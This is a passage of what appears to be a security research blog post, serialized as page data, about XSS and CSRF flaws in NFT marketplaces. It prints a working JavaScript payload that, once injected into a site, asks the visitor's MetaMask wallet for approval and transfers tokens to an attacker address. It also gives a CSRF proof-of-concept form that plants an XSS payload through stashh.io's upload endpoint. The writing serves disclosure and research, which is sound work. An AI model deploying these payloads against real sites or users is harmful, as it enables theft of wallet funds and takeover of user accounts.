account.",{"type":23,"tag":24,"props":28823,"children":28824},{},[28825],{"type":23,"tag":149,"props":28826,"children":28828},{"alt":7,"src":28827},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":28830,"children":28831},{},[28832],{"type":28,"value":28833},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":7092,"props":28835,"children":28837},{"id":28836},"wheres-my-wallet",[28838],{"type":28,"value":28839},"Where's My Wallet",{"type":23,"tag":24,"props":28841,"children":28842},{},[28843],{"type":28,"value":28844},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":28846,"children":28847},{},[28848],{"type":28,"value":28849},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":28851,"children":28852},{},[28853],{"type":28,"value":28854},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":28856,"children":28857},{},[28858],{"type":28,"value":28859},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":28861,"props":28862,"children":28864},"div",{"style":28863},"display:flex; align-items:center; flex-direction:column;",[28865],{"type":23,"tag":149,"props":28866,"children":28870},{"src":28867,"alt":28868,"style":28869},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":28872,"children":28873},{},[28874],{"type":28,"value":28875},"And here we can find the code used to achieve it :",{"type":23,"tag":435,"props":28877,"children":28881},{"className":28878,"code":28879,"language":28880,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[28882],{"type":23,"tag":64,"props":28883,"children":28884},{"__ignoreMap":7},[28885,28902,28947,28976,28992,29055,29090,29115,29140,29147,29167,29175,29191,29203,29211,29228,29245,29253,29260,29276,29292,29299,29307,29324,29336,29343,29359,29375,29382,29389,29406,29413,29421,29428,29475,29482,29546,29553,29573,29589,29605,29626,29697,29713,29720,29727,29765,29773,29780,29787,29794,29815],{"type":23,"tag":481,"props":28886,"children":28887},{"class":483,"line":484},[28888,28893,28898],{"type":23,"tag":481,"props":28889,"children":28890},{"style":497},[28891],{"type":28,"value":28892},"function",{"type":23,"tag":481,"props":28894,"children":28895},{"style":610},[28896],{"type":28,"value":28897}," request",{"type":23,"tag":481,"props":28899,"children":28900},{"style":525},[28901],{"type":28,"value":13226},{"type":23,"tag":481,"props":28903,"children":28904},{"class":483,"line":351},[28905,28910,28914,28919,28924,28928,28933,28938,28943],{"type":23,"tag":481,"props":28906,"children":28907},{"style":535},[28908],{"type":28,"value":28909}," if",{"type":23,"tag":481,"props":28911,"children":28912},{"style":525},[28913],{"type":28,"value":578},{"type":23,"tag":481,"props":28915,"children":28916},{"style":497},[28917],{"type":28,"value":28918},"typeof",{"type":23,"tag":481,"props":28920,"children":28921},{"style":508},[28922],{"type":28,"value":28923}," window",{"type":23,"tag":481,"props":28925,"children":28926},{"style":525},[28927],{"type":28,"value":199},{"type":23,"tag":481,"props":28929,"children":28930},{"style":508},[28931],{"type":28,"value":28932},"ethereum",{"type":23,"tag":481,"props":28934,"children":28935},{"style":514},[28936],{"type":28,"value":28937}," ===",{"type":23,"tag":481,"props":28939,"children":28940},{"style":1805},[28941],{"type":28,"value":28942}," 'undefined'",{"type":23,"tag":481,"props":28944,"children":28945},{"style":525},[28946],{"type":28,"value":12292},{"type":23,"tag":481,"props":28948,"children":28949},{"class":483,"line":531},[28950,28955,28959,28963,28967,28972],{"type":23,"tag":481,"props":28951,"children":28952},{"style":508},[28953],{"type":28,"value":28954}," console",{"type":23,"tag":481,"props":28956,"children":28957},{"style":525},[28958],{"type":28,"value":199},{"type":23,"tag":481,"props":28960,"children":28961},{"style":610},[28962],{"type":28,"value":12352},{"type":23,"tag":481,"props":28964,"children":28965},{"style":525},[28966],{"type":28,"value":618},{"type":23,"tag":481,"props":28968,"children":28969},{"style":1805},[28970],{"type":28,"value":28971},"'Please install MetaMask to use this feature.'",{"type":23,"tag":481,"props":28973,"children":28974},{"style":525},[28975],{"type":28,"value":1366},{"type":23,"tag":481,"props":28977,"children":28978},{"class":483,"line":567},[28979,28984,28988],{"type":23,"tag":481,"props":28980,"children":28981},{"style":525},[28982],{"type":28,"value":28983}," } ",{"type":23,"tag":481,"props":28985,"children":28986},{"style":535},[28987],{"type":28,"value":836},{"type":23,"tag":481,"props":28989,"children":28990},{"style":525},[28991],{"type":28,"value":809},{"type":23,"tag":481,"props":28993,"children":28994},{"class":483,"line":678},[28995,29000,29004,29009,29014,29019,29024,29029,29034,29039,29043,29047,29051],{"type":23,"tag":481,"props":28996,"children":28997},{"style":508},[28998],{"type":28,"value":28999}," ethereum",{"type":23,"tag":481,"props":29001,"children":29002},{"style":525},[29003],{"type":28,"value":199},{"type":23,"tag":481,"props":29005,"children":29006},{"style":610},[29007],{"type":28,"value":29008},"request",{"type":23,"tag":481,"props":29010,"children":29011},{"style":525},[29012],{"type":28,"value":29013},"({ ",{"type":23,"tag":481,"props":29015,"children":29016},{"style":508},[29017],{"type":28,"value":29018},"method:",{"type":23,"tag":481,"props":29020,"children":29021},{"style":1805},[29022],{"type":28,"value":29023}," 'eth_requestAccounts'",{"type":23,"tag":481,"props":29025,"children":29026},{"style":525},[29027],{"type":28,"value":29028}," }).",{"type":23,"tag":481,"props":29030,"children":29031},{"style":610},[29032],{"type":28,"value":29033},"then",{"type":23,"tag":481,"props":29035,"children":29036},{"style":525},[29037],{"type":28,"value":29038},"((",{"type":23,"tag":481,"props":29040,"children":29041},{"style":508},[29042],{"type":28,"value":12163},{"type":23,"tag":481,"props":29044,"children":29045},{"style":525},[29046],{"type":28,"value":598},{"type":23,"tag":481,"props":29048,"children":29049},{"style":497},[29050],{"type":28,"value":12310},{"type":23,"tag":481,"props":29052,"children":29053},{"style":525},[29054],{"type":28,"value":809},{"type":23,"tag":481,"props":29056,"children":29057},{"class":483,"line":784},[29058,29063,29068,29072,29077,29081,29085],{"type":23,"tag":481,"props":29059,"children":29060},{"style":497},[29061],{"type":28,"value":29062}," const",{"type":23,"tag":481,"props":29064,"children":29065},{"style":508},[29066],{"type":28,"value":29067}," fromAddress",{"type":23,"tag":481,"props":29069,"children":29070},{"style":514},[29071],{"type":28,"value":517},{"type":23,"tag":481,"props":29073,"children":29074},{"style":508},[29075],{"type":28,"value":29076}," accounts",{"type":23,"tag":481,"props":29078,"children":29079},{"style":525},[29080],{"type":28,"value":1269},{"type":23,"tag":481,"props":29082,"children":29083},{"style":551},[29084],{"type":28,"value":1568},{"type":23,"tag":481,"props":29086,"children":29087},{"style":525},[29088],{"type":28,"value":29089},"];\n",{"type":23,"tag":481,"props":29091,"children":29092},{"class":483,"line":812},[29093,29097,29102,29106,29111],{"type":23,"tag":481,"props":29094,"children":29095},{"style":497},[29096],{"type":28,"value":29062},{"type":23,"tag":481,"props":29098,"children":29099},{"style":508},[29100],{"type":28,"value":29101}," attackerAddress",{"type":23,"tag":481,"props":29103,"children":29104},{"style":514},[29105],{"type":28,"value":517},{"type":23,"tag":481,"props":29107,"children":29108},{"style":1805},[29109],{"type":28,"value":29110}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":481,"props":29112,"children":29113},{"style":525},[29114],{"type":28,"value":528},{"type":23,"tag":481,"props":29116,"children":29117},{"class":483,"line":825},[29118,29122,29127,29131,29136],{"type":23,"tag":481,"props":29119,"children":29120},{"style":497},[29121],{"type":28,"value":29062},{"type":23,"tag":481,"props":29123,"children":29124},{"style":508},[29125],{"type":28,"value":29126}," contractAddress",{"type":23,"tag":481,"props":29128,"children":29129},{"style":514},[29130],{"type":28,"value":517},{"type":23,"tag":481,"props":29132,"children":29133},{"style":1805},[29134],{"type":28,"value":29135}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":481,"props":29137,"children":29138},{"style":525},[29139],{"type":28,"value":528},{"type":23,"tag":481,"props":29141,"children":29142},{"class":483,"line":843},[29143],{"type":23,"tag":481,"props":29144,"children":29145},{"emptyLinePlaceholder":15},[29146],{"type":28,"value":1210},{"type":23,"tag":481,"props":29148,"children":29149},{"class":483,"line":864},[29150,29154,29159,29163],{"type":23,"tag":481,"props":29151,"children":29152},{"style":497},[29153],{"type":28,"value":5554},{"type":23,"tag":481,"props":29155,"children":29156},{"style":508},[29157],{"type":28,"value":29158}," tokenAbi",{"type":23,"tag":481,"props":29160,"children":29161},{"style":514},[29162],{"type":28,"value":517},{"type":23,"tag":481,"props":29164,"children":29165},{"style":525},[29166],{"type":28,"value":23132},{"type":23,"tag":481,"props":29168,"children":29169},{"class":483,"line":873},[29170],{"type":23,"tag":481,"props":29171,"children":29172},{"style":525},[29173],{"type":28,"value":29174}," {\n",{"type":23,"tag":481,"props":29176,"children":29177},{"class":483,"line":1125},[29178,29183,29187],{"type":23,"tag":481,"props":29179,"children":29180},{"style":508},[29181],{"type":28,"value":29182}," constant:",{"type":23,"tag":481,"props":29184,"children":29185},{"style":497},[29186],{"type":28,"value":6539},{"type":23,"tag":481,"props":29188,"children":29189},{"style":525},[29190],{"type":28,"value":1033},{"type":23,"tag":481,"props":29192,"children":29193},{"class":483,"line":1142},[29194,29199],{"type":23,"tag":481,"props":29195,"children":29196},{"style":508},[29197],{"type":28,"value":29198}," inputs:",{"type":23,"tag":481,"props":29200,"children":29201},{"style":525},[29202],{"type":28,"value":23132},{"type":23,"tag":481,"props":29204,"children":29205},{"class":483,"line":1159},[29206],{"type":23,"tag":481,"props":29207,"children":29208},{"style":525},[29209],{"type":28,"value":29210}," {\n",{"type":23,"tag":481,"props":29212,"children":29213},{"class":483,"line":1172},[29214,29219,29224],{"type":23,"tag":481,"props":29215,"children":29216},{"style":508},[29217],{"type":28,"value":29218}," name:",{"type":23,"tag":481,"props":29220,"children":29221},{"style":1805},[29222],{"type":28,"value":29223}," '_to'",{"type":23,"tag":481,"props":29225,"children":29226},{"style":525},[29227],{"type":28,"value":1033},{"type":23,"tag":481,"props":29229,"children":29230},{"class":483,"line":1181},[29231,29236,29241],{"type":23,"tag":481,"props":29232,"children":29233},{"style":508},[29234],{"type":28,"value":29235}," type:",{"type":23,"tag":481,"props":29237,"children":29238},{"style":1805},[29239],{"type":28,"value":29240}," 'address'",{"type":23,"tag":481,"props":29242,"children":29243},{"style":525},[29244],{"type":28,"value":1033},{"type":23,"tag":481,"props":29246,"children":29247},{"class":483,"line":1204},[29248],{"type":23,"tag":481,"props":29249,"children":29250},{"style":525},[29251],{"type":28,"value":29252}," },\n",{"type":23,"tag":481,"props":29254,"children":29255},{"class":483,"line":1213},[29256],{"type":23,"tag":481,"props":29257,"children":29258},{"style":525},[29259],{"type":28,"value":29210},{"type":23,"tag":481,"props":29261,"children":29262},{"class":483,"line":1222},[29263,29267,29272],{"type":23,"tag":481,"props":29264,"children":29265},{"style":508},[29266],{"type":28,"value":29218},{"type":23,"tag":481,"props":29268,"children":29269},{"style":1805},[29270],{"type":28,"value":29271}," '_value'",{"type":23,"tag":481,"props":29273,"children":29274},{"style":525},[29275],{"type":28,"value":1033},{"type":23,"tag":481,"props":29277,"children":29278},{"class":483,"line":1291},[29279,29283,29288],{"type":23,"tag":481,"props":29280,"children":29281},{"style":508},[29282],{"type":28,"value":29235},{"type":23,"tag":481,"props":29284,"children":29285},{"style":1805},[29286],{"type":28,"value":29287}," 'uint256'",{"type":23,"tag":481,"props":29289,"children":29290},{"style":525},[29291],{"type":28,"value":1033},{"type":23,"tag":481,"props":29293,"children":29294},{"class":483,"line":1299},[29295],{"type":23,"tag":481,"props":29296,"children":29297},{"style":525},[29298],{"type":28,"value":29252},{"type":23,"tag":481,"props":29300,"children":29301},{"class":483,"line":1329},[29302],{"type":23,"tag":481,"props":29303,"children":29304},{"style":525},[29305],{"type":28,"value":29306}," ],\n",{"type":23,"tag":481,"props":29308,"children":29309},{"class":483,"line":1337},[29310,29315,29320],{"type":23,"tag":481,"props":29311,"children":29312},{"style":508},[29313],{"type":28,"value":29314}," name:",{"type":23,"tag":481,"props":29316,"children":29317},{"style":1805},[29318],{"type":28,"value":29319}," 'transfer'",{"type":23,"tag":481,"props":29321,"children":29322},{"style":525},[29323],{"type":28,"value":1033},{"type":23,"tag":481,"props":29325,"children":29326},{"class":483,"line":1369},[29327,29332],{"type":23,"tag":481,"props":29328,"children":29329},{"style":508},[29330],{"type":28,"value":29331}," outputs:",{"type":23,"tag":481,"props":29333,"children":29334},{"style":525},[29335],{"type":28,"value":23132},{"type":23,"tag":481,"props":29337,"children":29338},{"class":483,"line":1377},[29339],{"type":23,"tag":481,"props":29340,"children":29341},{"style":525},[29342],{"type":28,"value":29210},{"type":23,"tag":481,"props":29344,"children":29345},{"class":483,"line":1437},[29346,29350,29355],{"type":23,"tag":481,"props":29347,"children":29348},{"style":508},[29349],{"type":28,"value":29218},{"type":23,"tag":481,"props":29351,"children":29352},{"style":1805},[29353],{"type":28,"value":29354}," ''",{"type":23,"tag":481,"props":29356,"children":29357},{"style":525},[29358],{"type":28,"value":1033},{"type":23,"tag":481,"props":29360,"children":29361},{"class":483,"line":6528},[29362,29366,29371],{"type":23,"tag":481,"props":29363,"children":29364},{"style":508},[29365],{"type":28,"value":29235},{"type":23,"tag":481,"props":29367,"children":29368},{"style":1805},[29369],{"type":28,"value":29370}," 'bool'",{"type":23,"tag":481,"props":29372,"children":29373},{"style":525},[29374],{"type":28,"value":1033},{"type":23,"tag":481,"props":29376,"children":29377},{"class":483,"line":6546},[29378],{"type":23,"tag":481,"props":29379,"children":29380},{"style":525},[29381],{"type":28,"value":29252},{"type":23,"tag":481,"props":29383,"children":29384},{"class":483,"line":6591},[29385],{"type":23,"tag":481,"props":29386,"children":29387},{"style":525},[29388],{"type":28,"value":29306},{"type":23,"tag":481,"props":29390,"children":29391},{"class":483,"line":6697},[29392,29397,29402],{"type":23,"tag":481,"props":29393,"children":29394},{"style":508},[29395],{"type":28,"value":29396}," type:",{"type":23,"tag":481,"props":29398,"children":29399},{"style":1805},[29400],{"type":28,"value":29401}," 'function'",{"type":23,"tag":481,"props":29403,"children":29404},{"style":525},[29405],{"type":28,"value":1033},{"type":23,"tag":481,"props":29407,"children":29408},{"class":483,"line":21008},[29409],{"type":23,"tag":481,"props":29410,"children":29411},{"style":525},[29412],{"type":28,"value":22884},{"type":23,"tag":481,"props":29414,"children":29415},{"class":483,"line":21043},[29416],{"type":23,"tag":481,"props":29417,"children":29418},{"style":525},[29419],{"type":28,"value":29420}," ];\n",{"type":23,"tag":481,"props":29422,"children":29423},{"class":483,"line":21051},[29424],{"type":23,"tag":481,"props":29425,"children":29426},{"emptyLinePlaceholder":15},[29427],{"type":28,"value":1210},{"type":23,"tag":481,"props":29429,"children":29430},{"class":483,"line":21059},[29431,29435,29440,29444,29449,29454,29458,29463,29467,29471],{"type":23,"tag":481,"props":29432,"children":29433},{"style":497},[29434],{"type":28,"value":29062},{"type":23,"tag":481,"props":29436,"children":29437},{"style":508},[29438],{"type":28,"value":29439}," web3",{"type":23,"tag":481,"props":29441,"children":29442},{"style":514},[29443],{"type":28,"value":517},{"type":23,"tag":481,"props":29445,"children":29446},{"style":497},[29447],{"type":28,"value":29448}," new",{"type":23,"tag":481,"props":29450,"children":29451},{"style":610},[29452],{"type":28,"value":29453}," Web3",{"type":23,"tag":481,"props":29455,"children":29456},{"style":525},[29457],{"type":28,"value":618},{"type":23,"tag":481,"props":29459,"children":29460},{"style":508},[29461],{"type":28,"value":29462},"window",{"type":23,"tag":481,"props":29464,"children":29465},{"style":525},[29466],{"type":28,"value":199},{"type":23,"tag":481,"props":29468,"children":29469},{"style":508},[29470],{"type":28,"value":28932},{"type":23,"tag":481,"props":29472,"children":29473},{"style":525},[29474],{"type":28,"value":1366},{"type":23,"tag":481,"props":29476,"children":29477},{"class":483,"line":21068},[29478],{"type":23,"tag":481,"props":29479,"children":29480},{"emptyLinePlaceholder":15},[29481],{"type":28,"value":1210},{"type":23,"tag":481,"props":29483,"children":29484},{"class":483,"line":21110},[29485,29489,29494,29498,29502,29506,29510,29515,29519,29524,29528,29533,29537,29542],{"type":23,"tag":481,"props":29486,"children":29487},{"style":497},[29488],{"type":28,"value":29062},{"type":23,"tag":481,"props":29490,"children":29491},{"style":508},[29492],{"type":28,"value":29493}," tokenContract",{"type":23,"tag":481,"props":29495,"children":29496},{"style":514},[29497],{"type":28,"value":517},{"type":23,"tag":481,"props":29499,"children":29500},{"style":497},[29501],{"type":28,"value":29448},{"type":23,"tag":481,"props":29503,"children":29504},{"style":508},[29505],{"type":28,"value":29439},{"type":23,"tag":481,"props":29507,"children":29508},{"style":525},[29509],{"type":28,"value":199},{"type":23,"tag":481,"props":29511,"children":29512},{"style":508},[29513],{"type":28,"value":29514},"eth",{"type":23,"tag":481,"props":29516,"children":29517},{"style":525},[29518],{"type":28,"value":199},{"type":23,"tag":481,"props":29520,"children":29521},{"style":610},[29522],{"type":28,"value":29523},"Contract",{"type":23,"tag":481,"props":29525,"children":29526},{"style":525},[29527],{"type":28,"value":618},{"type":23,"tag":481,"props":29529,"children":29530},{"style":508},[29531],{"type":28,"value":29532},"tokenAbi",{"type":23,"tag":481,"props":29534,"children":29535},{"style":525},[29536],{"type":28,"value":588},{"type":23,"tag":481,"props":29538,"children":29539},{"style":508},[29540],{"type":28,"value":29541},"contractAddress",{"type":23,"tag":481,"props":29543,"children":29544},{"style":525},[29545],{"type":28,"value":1366},{"type":23,"tag":481,"props":29547,"children":29548},{"class":483,"line":21143},[29549],{"type":23,"tag":481,"props":29550,"children":29551},{"emptyLinePlaceholder":15},[29552],{"type":28,"value":1210},{"type":23,"tag":481,"props":29554,"children":29555},{"class":483,"line":21151},[29556,29560,29565,29569],{"type":23,"tag":481,"props":29557,"children":29558},{"style":497},[29559],{"type":28,"value":29062},{"type":23,"tag":481,"props":29561,"children":29562},{"style":508},[29563],{"type":28,"value":29564}," transactionObject",{"type":23,"tag":481,"props":29566,"children":29567},{"style":514},[29568],{"type":28,"value":517},{"type":23,"tag":481,"props":29570,"children":29571},{"style":525},[29572],{"type":28,"value":809},{"type":23,"tag":481,"props":29574,"children":29575},{"class":483,"line":21159},[29576,29581,29585],{"type":23,"tag":481,"props":29577,"children":29578},{"style":508},[29579],{"type":28,"value":29580}," from:",{"type":23,"tag":481,"props":29582,"children":29583},{"style":508},[29584],{"type":28,"value":29067},{"type":23,"tag":481,"props":29586,"children":29587},{"style":525},[29588],{"type":28,"value":1033},{"type":23,"tag":481,"props":29590,"children":29591},{"class":483,"line":21168},[29592,29597,29601],{"type":23,"tag":481,"props":29593,"children":29594},{"style":508},[29595],{"type":28,"value":29596}," to:",{"type":23,"tag":481,"props":29598,"children":29599},{"style":508},[29600],{"type":28,"value":29126},{"type":23,"tag":481,"props":29602,"children":29603},{"style":525},[29604],{"type":28,"value":1033},{"type":23,"tag":481,"props":29606,"children":29607},{"class":483,"line":21244},[29608,29613,29617,29621],{"type":23,"tag":481,"props":29609,"children":29610},{"style":508},[29611],{"type":28,"value":29612}," data:",{"type":23,"tag":481,"props":29614,"children":29615},{"style":508},[29616],{"type":28,"value":29493},{"type":23,"tag":481,"props":29618,"children":29619},{"style":525},[29620],{"type":28,"value":199},{"type":23,"tag":481,"props":29622,"children":29623},{"style":508},[29624],{"type":28,"value":29625},"methods\n",{"type":23,"tag":481,"props":29627,"children":29628},{"class":483,"line":21277},[29629,29634,29639,29643,29648,29652,29657,29661,29666,29670,29675,29679,29684,29688,29693],{"type":23,"tag":481,"props":29630,"children":29631},{"style":525},[29632],{"type":28,"value":29633}," .",{"type":23,"tag":481,"props":29635,"children":29636},{"style":610},[29637],{"type":28,"value":29638},"transfer",{"type":23,"tag":481,"props":29640,"children":29641},{"style":525},[29642],{"type":28,"value":618},{"type":23,"tag":481,"props":29644,"children":29645},{"style":508},[29646],{"type":28,"value":29647},"attackerAddress",{"type":23,"tag":481,"props":29649,"children":29650},{"style":525},[29651],{"type":28,"value":588},{"type":23,"tag":481,"props":29653,"children":29654},{"style":508},[29655],{"type":28,"value":29656},"web3",{"type":23,"tag":481,"props":29658,"children":29659},{"style":525},[29660],{"type":28,"value":199},{"type":23,"tag":481,"props":29662,"children":29663},{"style":508},[29664],{"type":28,"value":29665},"utils",{"type":23,"tag":481,"props":29667,"children":29668},{"style":525},[29669],{"type":28,"value":199},{"type":23,"tag":481,"props":29671,"children":29672},{"style":610},[29673],{"type":28,"value":29674},"toWei",{"type":23,"tag":481,"props":29676,"children":29677},{"style":525},[29678],{"type":28,"value":618},{"type":23,"tag":481,"props":29680,"children":29681},{"style":1805},[29682],{"type":28,"value":29683},"'100000000'",{"type":23,"tag":481,"props":29685,"children":29686},{"style":525},[29687],{"type":28,"value":588},{"type":23,"tag":481,"props":29689,"children":29690},{"style":1805},[29691],{"type":28,"value":29692},"'ether'",{"type":23,"tag":481,"props":29694,"children":29695},{"style":525},[29696],{"type":28,"value":17209},{"type":23,"tag":481,"props":29698,"children":29699},{"class":483,"line":21285},[29700,29704,29709],{"type":23,"tag":481,"props":29701,"children":29702},{"style":525},[29703],{"type":28,"value":29633},{"type":23,"tag":481,"props":29705,"children":29706},{"style":610},[29707],{"type":28,"value":29708},"encodeABI",{"type":23,"tag":481,"props":29710,"children":29711},{"style":525},[29712],{"type":28,"value":1016},{"type":23,"tag":481,"props":29714,"children":29715},{"class":483,"line":21293},[29716],{"type":23,"tag":481,"props":29717,"children":29718},{"style":525},[29719],{"type":28,"value":6401},{"type":23,"tag":481,"props":29721,"children":29722},{"class":483,"line":21330},[29723],{"type":23,"tag":481,"props":29724,"children":29725},{"emptyLinePlaceholder":15},[29726],{"type":28,"value":1210},{"type":23,"tag":481,"props":29728,"children":29729},{"class":483,"line":21343},[29730,29735,29739,29743,29747,29752,29756,29761],{"type":23,"tag":481,"props":29731,"children":29732},{"style":508},[29733],{"type":28,"value":29734}," web3",{"type":23,"tag":481,"props":29736,"children":29737},{"style":525},[29738],{"type":28,"value":199},{"type":23,"tag":481,"props":29740,"children":29741},{"style":508},[29742],{"type":28,"value":29514},{"type":23,"tag":481,"props":29744,"children":29745},{"style":525},[29746],{"type":28,"value":199},{"type":23,"tag":481,"props":29748,"children":29749},{"style":610},[29750],{"type":28,"value":29751},"sendTransaction",{"type":23,"tag":481,"props":29753,"children":29754},{"style":525},[29755],{"type":28,"value":618},{"type":23,"tag":481,"props":29757,"children":29758},{"style":508},[29759],{"type":28,"value":29760},"transactionObject",{"type":23,"tag":481,"props":29762,"children":29763},{"style":525},[29764],{"type":28,"value":1366},{"type":23,"tag":481,"props":29766,"children":29767},{"class":483,"line":21356},[29768],{"type":23,"tag":481,"props":29769,"children":29770},{"style":525},[29771],{"type":28,"value":29772}," });\n",{"type":23,"tag":481,"props":29774,"children":29775},{"class":483,"line":21369},[29776],{"type":23,"tag":481,"props":29777,"children":29778},{"style":525},[29779],{"type":28,"value":3348},{"type":23,"tag":481,"props":29781,"children":29782},{"class":483,"line":21423},[29783],{"type":23,"tag":481,"props":29784,"children":29785},{"style":525},[29786],{"type":28,"value":1443},{"type":23,"tag":481,"props":29788,"children":29789},{"class":483,"line":21432},[29790],{"type":23,"tag":481,"props":29791,"children":29792},{"emptyLinePlaceholder":15},[29793],{"type":28,"value":1210},{"type":23,"tag":481,"props":29795,"children":29797},{"class":483,"line":29796},51,[29798,29802,29806,29811],{"type":23,"tag":481,"props":29799,"children":29800},{"style":497},[29801],{"type":28,"value":16980},{"type":23,"tag":481,"props":29803,"children":29804},{"style":525},[29805],{"type":28,"value":618},{"type":23,"tag":481,"props":29807,"children":29808},{"style":1805},[29809],{"type":28,"value":29810},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":481,"props":29812,"children":29813},{"style":525},[29814],{"type":28,"value":1366},{"type":23,"tag":481,"props":29816,"children":29818},{"class":483,"line":29817},52,[29819,29824,29828,29832,29836,29841],{"type":23,"tag":481,"props":29820,"children":29821},{"style":610},[29822],{"type":28,"value":29823},"setTimeout",{"type":23,"tag":481,"props":29825,"children":29826},{"style":525},[29827],{"type":28,"value":618},{"type":23,"tag":481,"props":29829,"children":29830},{"style":508},[29831],{"type":28,"value":29008},{"type":23,"tag":481,"props":29833,"children":29834},{"style":525},[29835],{"type":28,"value":588},{"type":23,"tag":481,"props":29837,"children":29838},{"style":551},[29839],{"type":28,"value":29840},"1e3",{"type":23,"tag":481,"props":29842,"children":29843},{"style":525},[29844],{"type":28,"value":1366},{"type":23,"tag":24,"props":29846,"children":29847},{},[29848,29853],{"type":23,"tag":2875,"props":29849,"children":29850},{},[29851],{"type":28,"value":29852},"CSRF & XSS",{"type":28,"value":29854},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":29856,"children":29857},{},[29858,29860,29865],{"type":28,"value":29859},"Our attention was drawn to ",{"type":23,"tag":190,"props":29861,"children":29863},{"href":28795,"rel":29862},[194],[29864],{"type":28,"value":28799},{"type":28,"value":29866},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":29868,"children":29869},{},[29870],{"type":23,"tag":149,"props":29871,"children":29873},{"alt":7,"src":29872},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":29875,"children":29876},{},[29877],{"type":28,"value":29878},"and here there is the code:",{"type":23,"tag":435,"props":29880,"children":29882},{"className":28878,"code":29881,"language":28880,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[29883],{"type":23,"tag":64,"props":29884,"children":29885},{"__ignoreMap":7},[29886,29903,29920,29954,30040,30097,30296,30337,30353,30369,30376,30391,30398,30410,30469,30476,30539,30568,30606,30613,30651,30664,30671,30686],{"type":23,"tag":481,"props":29887,"children":29888},{"class":483,"line":484},[29889,29894,29899],{"type":23,"tag":481,"props":29890,"children":29892},{"style":29891},"--shiki-default:#808080",[29893],{"type":28,"value":3282},{"type":23,"tag":481,"props":29895,"children":29896},{"style":497},[29897],{"type":28,"value":29898},"html",{"type":23,"tag":481,"props":29900,"children":29901},{"style":29891},[29902],{"type":28,"value":3469},{"type":23,"tag":481,"props":29904,"children":29905},{"class":483,"line":351},[29906,29911,29916],{"type":23,"tag":481,"props":29907,"children":29908},{"style":29891},[29909],{"type":28,"value":29910}," \u003C",{"type":23,"tag":481,"props":29912,"children":29913},{"style":497},[29914],{"type":28,"value":29915},"body",{"type":23,"tag":481,"props":29917,"children":29918},{"style":29891},[29919],{"type":28,"value":3469},{"type":23,"tag":481,"props":29921,"children":29922},{"class":483,"line":531},[29923,29927,29932,29936,29941,29946,29950],{"type":23,"tag":481,"props":29924,"children":29925},{"style":29891},[29926],{"type":28,"value":29910},{"type":23,"tag":481,"props":29928,"children":29929},{"style":497},[29930],{"type":28,"value":29931},"script",{"type":23,"tag":481,"props":29933,"children":29934},{"style":29891},[29935],{"type":28,"value":7947},{"type":23,"tag":481,"props":29937,"children":29938},{"style":525},[29939],{"type":28,"value":29940},"history.pushState('', '', '/')",{"type":23,"tag":481,"props":29942,"children":29943},{"style":29891},[29944],{"type":28,"value":29945},"\u003C/",{"type":23,"tag":481,"props":29947,"children":29948},{"style":497},[29949],{"type":28,"value":29931},{"type":23,"tag":481,"props":29951,"children":29952},{"style":29891},[29953],{"type":28,"value":3469},{"type":23,"tag":481,"props":29955,"children":29956},{"class":483,"line":567},[29957,29962,29967,29972,29976,29981,29986,29990,29995,29999,30003,30008,30013,30017,30022,30027,30031,30036],{"type":23,"tag":481,"props":29958,"children":29959},{"style":29891},[29960],{"type":28,"value":29961}," 